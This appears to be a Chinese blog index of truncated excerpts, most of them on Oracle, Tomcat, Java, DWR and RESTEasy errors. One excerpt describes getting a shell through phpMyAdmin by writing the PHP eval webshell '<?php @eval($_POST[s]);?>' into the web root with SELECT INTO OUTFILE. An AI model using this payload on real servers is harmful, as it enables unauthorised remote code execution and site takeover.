oracle的会话数超出了限制,一般都是由于多次connect建立多个连接会话引起. 解决办法: (oracle登录后台,1)sqlplus /nolog 2)conn / as sysdba) 1.查看当前连接进程数 SQL>select count(*) from v$process; 2.查看连接数上限 SQL>select value from v$parameter where name = 'processes'; 3.查看当前数据库的processes设置 SQL&
问题描述: 今天一个同事反映程序有问题,让帮忙查看后台日志,发现后台日志报错的信息如下: java.net.SocketException: Too many open files at java.net.Socket.createImpl(Socket.java:460) at java.net.Socket.connect(Socket.java:587) at org.apache.commons.net.SocketClient.connect(SocketClient.java:163
报错: Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 3986-- 错误原因: 当在浏览器中访问时
在使用Postman请求后台时Postman出现 开发工具控制台报 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Invalid character found in method name. HTTP method nam
java.lang.IllegalStateException: getOutputStream() has already been called <%@page language="java" contentType="text/html; charset=UTF-8"%> <%@page import="java.util.*,java.io.*"%> <html> <head> <ti
phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php" 利用日志文件getshell,mysql大于5.0版本会创建日志文件,
打开包含dwr的网页时后台报错: 警告: Names of known classes are: __System DwrQueryService 十二月 11, 2015 10:24:44 上午 org.directwebremoting.servlet.ExceptionHandler handle 警告: Error: java.lang.SecurityException: No class by name: service 这是由于dwr.xml与网页中的service.js不符造成的
在使用ztree插件实现异步加载时遇到后台RESTEasy接收参数问题,查看后台报错: A servlet request to the URI http://localhost:8080/area/query contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request par
